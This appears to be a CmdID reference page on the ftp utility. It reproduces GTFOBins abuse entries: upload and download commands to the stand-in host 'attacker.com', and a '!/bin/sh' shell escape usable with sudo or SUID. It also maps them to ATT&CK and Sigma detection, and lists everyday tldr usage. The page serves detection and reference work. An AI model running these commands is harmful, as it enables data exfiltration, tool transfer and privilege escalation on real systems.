CmdID

CmdID / Programs / Linux and Unix

ftp

Tools to interact with a server via File Transfer Protocol. tldr-pages

GTFOBins download, upload 1 ATT&CK technique 3 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How ftp is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-a

upload

-a

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for ftp.

3 documented commands

from GTFOBins, each read by CmdID

download unprivileged, with sudo, as SUID

Instead of -a, credentials can be supplied via the user:password@host connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Identify

shell unprivileged, with sudo, as SUID

ftp
!/bin/sh
Identify

upload unprivileged, with sudo, as SUID

Instead of -a, credentials can be supplied via the user:password@host connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Identify

None of the 3 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for ftp. CmdID reads the line of each that runs ftp.

What detects it

Sigma process creation rules
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Connect to an FTP server and run in interactive mode

ftp ftp.example.comIdentify

Connect to an FTP server specifying its IP address and port

ftp ip_address portIdentify

[Interactive] Switch to binary transfer mode (graphics, compressed files, etc.)

binary

None of the 2 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.